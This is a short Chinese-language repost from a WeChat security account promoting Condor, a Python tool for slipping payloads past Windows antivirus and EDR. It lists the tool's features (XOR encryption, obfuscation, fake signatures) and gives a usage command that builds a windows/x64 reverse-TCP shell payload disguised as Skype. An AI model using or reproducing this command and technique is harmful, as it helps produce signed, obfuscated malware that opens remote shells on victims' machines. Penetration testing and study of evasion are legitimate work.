免杀！一款 AV/EDR/XDR 躲避工具

现在只对常读和星标的公众号才展示大图推送，建议大家把Hack分享吧“设为星标”，否则可能看不到了！

工具介绍

Condor是一个用Python 开发的免杀工具，旨在帮助渗透测试人员绕过Windows 操作系统中的AV/EDR/XDR等保护措施；有几个优势可以帮助渗透测试者。

好处

便于使用绕过多个AV/EDR/XDR两次异或加密过程和一次混淆生成的文件小于7mb使用自定义shellcode可执行文件上的假签名

环境支持

参数说明

建议在WSL环境中运行该工具，因为您需要使用msfvenom生成shellcode并使用pyinstaller编译。

$ git clone https://github.com/MrEmpy/Condor.git$ cd Condor$ chmod +x install.sh$ sudo ./install.sh...$ python3 condor.py -p windows/x64/shell/reverse_tcp -lh <LOCAL HOST> -lp <LOCAL PORT> -i skype

为了能够安装Python，必须在机器上安装wine，如下截图所示:

https://github.com/MrEmpy/Condor

https://github.com/MrEmpy/Condor

原文始发于微信公众号（Hack分享吧）：免杀！一款 AV/EDR/XDR 躲避工具